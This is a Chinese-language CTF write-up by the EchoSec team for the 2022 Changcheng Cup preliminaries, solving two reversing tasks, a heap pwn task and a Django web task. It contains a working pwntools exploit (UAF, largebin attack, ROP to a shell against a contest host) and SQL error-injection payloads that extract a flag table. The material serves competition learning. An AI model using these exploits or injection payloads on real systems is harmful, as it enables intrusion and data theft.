-
-
[原创]2022-长城杯初赛Write up-by EchoSec安全团队
-
2022-8-29 21:30 8957
-
2022-长城杯初赛Write up-by EchoSec安全团队
前言
EchoSec安全团队参加的首场比赛,在各位师傅们的输出下,也拿到第8名的成绩,虽然不算特别好,也是EchoSec安全团队迈出的第一步。同时欢迎各位有兴趣的师傅加入我们,一起学习进步。可+v:He1l_T4lk
re
rabbit_hole
打开之后很多花,我感觉没多少就直接手动patch,结果还真不少
patch完之后可以看到主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | 30 [ 0 ] = v3; v30[ 1 ] = retaddr; v6 = alloca( 4532 ); atexit(end); cout(std::cout, "Help Alice find a way out of the rabbit hole:" ); gets_s( input , 0x100u ); input_length = strlen( input ); / / input_length 16 , 134. . v8 = BYTE2(input_length) ^ ( 16777619 * (BYTE1(input_length) ^ ( 16777619 * ((unsigned __int8)input_length ^ 0x50C5D1F )))); v9 = HIBYTE(input_length) ^ ( 16777619 * v8); if ( v9 = = 0x458766D3 ) / / input length = 134 { strcpy(key, "The quick brown fox jumps over the lazy dog." ); blow_fish_init(( int )this, v4, v5, ( int )key, v8); memset(key, 0 , 40 ); blow_fish_encrypt(this, ( int )key, ( int ) input , v19); v20 = 0 ; while ( key[v20] = = not [v20] ) { if ( + + v20 > = 40 ) { v21 = cout(std::cout, "Can you get h3re? :>" ); std::ostream::operator<<(v21); return 0 ; } } v17 = (const char * )&unk_44C88; / / :< LABEL_16: |
其实主函数没什么用,主函数可以看到blow_fish,aes等相关的东西,仔细分析发现是无关的
从主函数的逻辑,也就是最后的结果字符串看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | for ( k = 0 ; (HIBYTE(k) ^ ( 16777619 * (BYTE2(k) ^ ( 16777619 * (BYTE1(k) ^ ( 16777619 * ((unsigned __int8)k ^ 0x50C5D1F ))))))) ! = 1563082853 ; + + k ) { if ( * ((_BYTE * )&v30[ - 1130 ] + k) ! = cipher[k] ) { v15 = cout(std::cout, "That is toooooooo bad :(" ); / / to bad std::ostream::operator<<(v15); exit( - 1 ); } } v16 = cout(std::cout, "Not a very good path dont you think? :)" ); std::ostream::operator<<(v16); return 0 ; } |
哪怕通过了check也不是flag
仔细观察后发现在blow_fish_encrypt里面有seh,触发异常会调用,进入sub_411e0函数
1 2 3 4 5 6 | .text: 00041595 loc_41595: ; DATA XREF: .rdata:stru_45340↓o .text: 00041595 ; __except(loc_41577) / / owned by 41538 .text: 00041595 8B 65 E8 mov esp, [ebp + ms_exc.old_esp] .text: 00041598 8B 4D 0C mov ecx, [ebp + arg_4] .text: 0004159B E8 40 FC FF FF call sub_411E0 .text: 0004159B ; } / / starts at 41538 |
这里面才是我们要的东西
分析seh中各个try/except
,会在0004136B
发现在这样一部分代码,4个输入hjkl
配上跳转,加上题目的提示
Alice saw a white rabbit talking to himself, and then out of curiosity, she followed him into a rabbit hole. Now, can you help her find the right way out of here?
猜测可能是迷宫题,迷宫题的话就需要找到迷宫的图,然后画出来就可以了,这个迷宫是两个数组组成,要相互异或,然后再异或行和列左移8位的值,具体xor在下图
1 2 3 4 5 6 7 8 9 | .text: 000413BA 8D 04 11 lea eax, [ecx + edx] ; ecx是行数 * 0x15 ,edx是列数,ecx + edx表示地图数组偏移 .text: 000413BD 0F B6 88 08 42 04 00 movzx ecx, ds:byte_44208[eax] ; 取出byte_44208对应索引值 .text: 000413C4 33 0C 85 C8 43 04 00 xor ecx, ds:dword_443C8[eax * 4 ] ; 取出dword_443C8对应索引值与byte_44208对应值异或后存在ecx .text: 000413CB 8B C2 mov eax, edx .text: 000413CD C1 E0 08 shl eax, 8 ; 列数左移 8 位后和ecx异或 .text: 000413D0 33 C8 xor ecx, eax .text: 000413D2 33 CB xor ecx, ebx ; 行数异或ecx .text: 000413D4 83 F9 01 cmp ecx, 1 ; 对比值是否为 1 ,为 1 则继续检查下一个输入,错误则exit .text: 000413D7 75 28 jnz short loc_41401 |
等效于
1 2 3 4 5 | if ((byte)byte_44208[ecx + edx] ^ (dword)dword_443c8[ecx + edx] ^ (edx<< 8 ) ^ ecx = = 1 ){ ... } else { exit( 0 ) } |
分析4个字符对应操作可以知道
1 2 3 4 5 6 7 | .text: 0004136B 3C 6A cmp al, 6Ah ; 'j' .text: 0004136D 75 2A jnz short loc_41399 .text: 0004136D .text: 0004136F 43 inc ebx .text: 00041370 89 5D E0 mov [ebp + var_20], ebx ; 行 .text: 00041373 83 C1 15 add ecx, 15h ; 一行 21 个 .text: 00041376 89 4D D8 mov [ebp + var_28], ecx ; 地图偏移 |
一行长度为0x15
,高长度也为0x15
,符合两个数组的大小0x15*0x15=441
提取两段数据,按规则每一位都算一下,最后结果只有0或1
1 2 3 4 5 6 7 8 9 | x1 = [...] x2 = [...] x3 = [] for i in range ( 21 ): for j in range ( 21 ): x3.append(x1[i * 0x15 + j]^x2[i * 0x15 + j]^i^(j<< 8 )) print ( hex (x1[ 21 ])) for i in range ( 0 , 441 , 21 ): print (x3[i:i + 21 ]) |
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] [ 1 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 0 ] [ 1 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 ] [ 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 , 0 ] [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 1 , 1 , 1 , 0 ] [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 ] [ 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 ] [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 ] [ 1 , 0 , 1 , 1 , 1 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 ] [ 1 , 0 , 1 , 0 , 0 , 0 , 1 , 1 , 1 , 0 , 1 , 0 , 0 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 ] [ 1 , 1 , 1 , 1 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 ] [ 0 , 0 , 0 , 1 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 1 , 0 , 1 , 0 , 1 , 0 ] [ 0 , 1 , 1 , 1 , 0 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 1 , 0 , 1 , 0 ] [ 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 0 , 1 , 0 ] [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 1 , 0 ] [ 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 0 , 1 , 0 ] [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 ] [ 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 1 , 0 ] [ 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 1 , 0 , 0 , 1 , 0 ] [ 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 0 , 0 , 1 , 0 , 0 , 1 , 0 ] [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 ] |
按着1的方向走,得到最简结果
1 2 3 4 5 | .\rabbit_hole_release.exe Help Alice find a way out of the rabbit hole:jjjllllllllllllllljjjjjjjjkjjkkkkhhhhhhhkkkkkkkkkkjjjjllljjjlllhhhhlljjjjjjkkkkkkkkjjlllllllllllhhlllllhhhlhhhhhhhhlljjjjjjjjjjjjjjjjl You r3A1ly Have f0und the r1ght way!!! :) The game has ended! Have you found a way out? If you think you do, then your flag will be: flag{md5( input )} |
exp:
1 2 3 | flag = 'jjj' + 'l' * 15 + 'j' * 8 + 'kjjkkkk' + 'h' * 7 + 'k' * 10 + 'jjjj' + 'llljjjlllhhhhll' + 'j' * 6 + 'k' * 8 + 'jj' + 'l' * 11 + 'hhlllllhhhl' + 'h' * 8 + 'll' + 'j' * 16 + 'l' print (flag) print (md5(flag.encode()).hexdigest()) |
baby_re
python编写的exe先pyinstxtractor.py提取pyc
python3.7提取出run.pyc后,uncompyle6转成python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 | from new import * print ( 'welcome!!!' ) flag_input = input ( 'please input flag:' ) if set (word) > = set (flag_input): pt = mmo(flag_input) flag = pt() if flag = = '5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh=' : print ( 'right!!!' ) print ( 'your flag: flag{' + flag_input + '}' ) else : print ( 'Error' ) else : print ( 'please input again!' ) |
发现用到了new库,这不是现有的库,而是出题人自己写的,在提取出来的文件中可以找到new.cp37-win_amd64.pyd
文件,pyd文件很难看,查了一下大部分都是用测信道测试的方法来做,通俗的来说就是调用pyd中的函数来检测输入输出之间的差异,可能xor某些数值,幸运的是这题就是这样来做
只看密文知道至少有一个base64,ida 打开pyd查看一下字符串,发现pyd被upx加壳了,吾爱破解的脱壳软件脱壳失败,放到linux下的upx反而可以脱壳成功 upx -d new.cp37-win_amd64.pyd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | ata: 000000018000A710 aUkbnhwvcaest74 db 'uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm' , 0 .rdata: 000000018000A710 ; DATA XREF: .data: 000000018000E570 ↓o .rdata: 000000018000A751 align 8 .rdata: 000000018000A758 aO0oo00o000oo00 db 'O0OO00O000OO00000' , 0 .rdata: 000000018000A758 ; DATA XREF: .data: 000000018000DEB8 ↓o .rdata: 000000018000A76A align 10h .rdata: 000000018000A770 aO000ooo00oo0o0 db 'O000OOO00OO0O0OO0' , 0 .rdata: 000000018000A770 ; DATA XREF: .data: 000000018000DDF0 ↓o .rdata: 000000018000A782 align 8 .rdata: 000000018000A788 aO0000o000ooo0o db 'O0000O000OOO0OOOO' , 0 .rdata: 000000018000A788 ; DATA XREF: .data: 000000018000DDA0 ↓o .rdata: 000000018000A79A align 20h .rdata: 000000018000A7A0 aImport db '__import__' , 0 ; DATA XREF: .data: 000000018000E160 ↓o .rdata: 000000018000A7AB align 10h .rdata: 000000018000A7B0 aMmoCall db 'mmo.__call__' , 0 ; DATA XREF: .data: 000000018000E278 ↓o .rdata: 000000018000A7BD align 20h .rdata: 000000018000A7C0 aDoc_0 db '__doc__' , 0 ; DATA XREF: .data: 000000018000E0E8 ↓o .rdata: 000000018000A7C8 aMaketrans db 'maketrans' , 0 ; DATA XREF: .data: 000000018000E200 ↓o .rdata: 000000018000A7D2 align 8 .rdata: 000000018000A7D8 aName_1 db '__name__' , 0 ; DATA XREF: .data: 000000018000E318 ↓o .rdata: 000000018000A7E1 align 8 .rdata: 000000018000A7E8 aOoooo0o000o00o db 'OOOOO0O000O00O0O0' , 0 .rdata: 000000018000A7E8 ; DATA XREF: .data: 000000018000DFA8 ↓o .rdata: 000000018000A7FA align 20h .rdata: 000000018000A800 aO0o0o00o0o0o00 db 'O0O0O00O0O0O00O00' , 0 .rdata: 000000018000A800 ; DATA XREF: .data: 000000018000DE90 ↓o .rdata: 000000018000A812 align 4 .rdata: 000000018000A814 aSend_0 db 'send' , 0 ; DATA XREF: .data: 000000018000E4D0 ↓o .rdata: 000000018000A819 align 20h .rdata: 000000018000A820 aOo00o0oo00oo00 db 'OO00O0OO00OO0000O' , 0 .rdata: 000000018000A820 ; DATA XREF: .data: 000000018000DF30 ↓o .rdata: 000000018000A832 align 8 .rdata: 000000018000A838 aTest db '__test__' , 0 ; DATA XREF: .data: 000000018000E4F8 ↓o .rdata: 000000018000A841 align 8 .rdata: 000000018000A848 aMmoInit db 'mmo.__init__' , 0 ; DATA XREF: .data: 000000018000E2A0 ↓o .rdata: 000000018000A855 align 8 .rdata: 000000018000A858 aOo000ooo0o0ooL db 'oo000ooo0o0oo.<locals>.genexpr' , 0 .rdata: 000000018000A858 ; DATA XREF: .data: 000000018000E408 ↓o .rdata: 000000018000A877 align 8 .rdata: 000000018000A878 aGenexpr_0 db 'genexpr' , 0 ; DATA XREF: .data: 000000018000E138 ↓o .rdata: 000000018000A880 aAbcdefghijklmn_0 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + / |
可以看到正常的base64表和一个base64表等长的表 uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm
,直接base64解码什么都没有,考虑到可能base64换表了
尝试base64换表一下得到b"pUSs83T'D\x07\x02\x00^y\x12CG[]A<=kyYQ\x07lDR\x01\x01?"
这可能还用了其他函数加密,查阅了资料后发现可以本地python导入已有的pyd,使用help
命令可以查看一些信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | In [ 2 ]: import new In [ 3 ]: help (new) Help on module new: NAME new DESCRIPTION Description: Autor: Emtanling Date: 2022 - 07 - 26 09 : 36 : 06 LastEditors: Emtanling LastEditTime: 2022 - 07 - 26 09 : 49 : 34 CLASSES builtins. object mmo class mmo(builtins. object ) | mmo(O0000000O0000O00O) | | Methods defined here: | | __call__(OO00O00O00O0OO0O0) | | __init__(OO0O0O000OO0OO0OO, O0000000O0000O00O) | | ooo00o0o0o0(O00O0O0O00OOOO000) | | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | Data descriptors defined here: | | __dict__ | dictionary for instance variables ( if defined) | | __weakref__ | list of weak references to the object ( if defined) FUNCTIONS oo000ooo0o0o0(OOOOO0O000O00O0O0) oo000ooo0o0oo(OO0000OOOOO0OOOO0) DATA __test__ = {} word = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789... FILE c:\users\axe\desktop\baby_re_bc0325445163f53c8ae03535511cf06a\new.pyd |
里面有一些奇怪的函数名,没有看到base64,怀疑base64的函数名被改了
尝试写脚本测试一下源代码中的,把结果base64换表之后解密,再和输入值异或得到一个异或值,多加密几次发现异或值一样就可以确定了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | from base64 import * import new string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" def crack_base(c: str ): string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" return list (b64decode(c.translate( str .maketrans(string1,string2)))) pt1 = new.mmo( '1' * 32 ) c1 = pt1() # 这是模拟正常加密 print (c1) # GDLoG1tPEV4hKIeCjHqvDh0gjhKaYjqNbEXvYhhKED7= # 尝试base64换表解密 print (crack_base(c1)) # [121, 6, 91, 122, 104, 99, 87, 115, 68, 6, 82, 82, 90, 123, 70, 64, 71, 88, 88, 64, 104, 105, 107, 120, 9, 89, 6, 104, 65, 1, 85, 3] # 测试第二组 pt2 = new.mmo( '2' * 32 ) c2 = pt2() # 这是模拟正常加密 print (c2) # GOEgGjqOEcKcKEW2jrtWD82oj84yY1tfbIaWY8AbEOu= # 尝试base64换表解密 print (crack_base(c2)) # [122, 5, 88, 121, 107, 96, 84, 112, 71, 5, 81, 81, 89, 120, 69, 67, 68, 91, 91, 67, 107, 106, 104, 123, 10, 90, 5, 107, 66, 2, 86, 0] |
发现两组输入值之间相异或值为1,输入相异或也为1,那说明每次输入都是异或相同的值,我们讲密文和输入值相异或可以得到中间的异或值。输入长度为32是因为测试后发现输入再多就会报错,还有就是题目密文base64解密后长度为32位
exp:
1 2 3 4 5 6 7 8 9 10 11 12 | from base64 import * str1 = "5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh=" string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" c = b64decode(str1.translate( str .maketrans(string1,string2))) plain = b '1' * 32 cipher = [ 121 , 6 , 91 , 122 , 104 , 99 , 87 , 115 , 68 , 6 , 82 , 82 , 90 , 123 , 70 , 64 , 71 , 88 , 88 , 64 , 104 , 105 , 107 , 120 , 9 , 89 , 6 , 104 , 65 , 1 , 85 , 3 ] key = [p^c for p,c in zip (plain,cipher)] flag = [key[i]^c[i] for i in range ( 32 )] print (bytes(flag)) |
Pwn
glibc_master
Free 的时候没有清空存在 UAF ;输入的时候存在简单加密,IDA 反编译不出来函数,通过调试可以知道与固定字符进行异或操作;输出函数使用一定次数后会关闭 stdout ;后面还发现会禁用 free_hook 和 malloc_hook ;
利用 UAF 进行 largebin attack 攻击 mp_.tcache_bins ,将 tcache size 范围扩大;泄露出 environ 上面的栈地址;劫持返回地址运行 ROP getshell ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | from pwn import * context.log_level = "debug" p = process( "./glibc_master" ) p = remote( "123.57.245.65" , 43526 ) libc = ELF( "/lib/x86_64-linux-gnu/libc.so.6" ) def dec(miw): key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" mingw = '' try : for i in range ( len (miw)): mingw + = chr ( ord (miw[i])^ ord (key[i % len (key)])) return mingw except : exit( - 1 ) def add0(i, s): p.sendlineafter( ">>" , str ( 1 )) p.sendlineafter( "\n" , str (i)) p.sendlineafter( "\n" , str (s)) def edit0(i, content): p.sendlineafter( ">>" , str ( 2 )) p.sendlineafter( "\n" , str (i)) p.sendafter( "\n" , content) def show(i): p.sendlineafter( ">>" , str ( 3 )) p.sendlineafter( "\n" , str (i)) def delete0(i): p.sendlineafter( ">>" , str ( 4 )) p.sendlineafter( "\n" , str (i)) def add1(i, s): p.sendline( str ( 1 )) sleep( 0.5 ) p.sendline( str (i)) sleep( 0.5 ) p.sendline( str (s)) sleep( 0.5 ) def delete1(i): p.sendline( str ( 4 )) sleep( 0.5 ) p.sendline( str (i)) sleep( 0.5 ) def edit1(i, content): p.sendline( str ( 2 )) sleep( 0.5 ) p.sendline( str (i)) sleep( 0.5 ) p.send(content) sleep( 0.5 ) add0( 0 , 0x448 ) add0( 1 , 0x508 ) add0( 2 , 0x438 ) add0( 3 , 0x508 ) add0( 4 , 0x508 ) add0( 6 , 0x508 ) add0( 7 , 0x508 ) delete0( 0 ) show( 0 ) leak_addr = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 , "\x00" )) print ( hex (leak_addr)) libc_base = leak_addr - 2018272 environ = libc_base + libc.sym[ "environ" ] print ( hex (libc_base)) add0( 8 , 0x458 ) delete0( 2 ) show( 2 ) ori_addr = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 , "\x00" )) mp_tcachebin = libc_base + 2015952 payload = p64(ori_addr) * 2 + p64( 0 ) + p64(mp_tcachebin - 0x20 ) edit0( 0 , payload + "\n" ) add0( 9 , 0x458 ) delete0( 7 ) delete0( 6 ) edit0( 6 , p64(environ) + "\n" ) add0( 10 , 0x508 ) add0( 11 , 0x508 ) show( 11 ) stack = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 , "\x00" )) ret_addr = stack - 288 edit1( 7 , p64( 0 ) * 2 + "\n" ) delete1( 7 ) delete1( 6 ) edit1( 6 , dec(p64(ret_addr)) + "\n" ) add1( 12 , 0x508 ) add1( 13 , 0x508 ) p.sendline( str ( 2 )) p.sendline( str ( 13 )) pop_rdi = libc_base + 0x23b72 ret = libc_base + 0x22679 payload = p64(ret) + p64(pop_rdi) + p64(ret_addr + 0x20 ) payload + = p64(libc_base + libc.sym[ 'system' ]) + ";;;;sh" .ljust( 8 , '\x00' ) p.send(dec(payload) + '\n' ) p.sendline( "exec 1>&2" ) p.interactive() |
Web
Djangogogo
根据提示联想到最近的一个洞:CVE-2022-34265
根据报错信息拼接出正常回显的payload
1year
%
20FROM
%
20purchase_date
))
-
-
因为可以报错,直接报错注入,同时提示flag在flag表,直接查询
1?name
=
YEAR FROM purchase_date))
and
updatexml(
'~'
,concat(
'~'
,(select flag
from
flag),
'~'
),
'~'
)
-
-
只得到flag的前31位,用SQL函数进行切割
1?name
=
YEAR FROM purchase_date))
and
updatexml(
'~'
,concat(
'~'
,(substr((select flag
from
flag),
32
,
64
)),
'~'
),
'~'
)
-
-
声明
团队起步阶段,如果错误还望师傅们指正,同时欢迎加入我们:He1l_T4lk
- 本文初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,与EchoSec安全团队及作者无关!
- EchoSec 安全团队保留对文章绝对的解释权,转载与传播时须保证文章的完整性,同时标明出处。未经允许,禁止任何形式的转载或用于商业用途。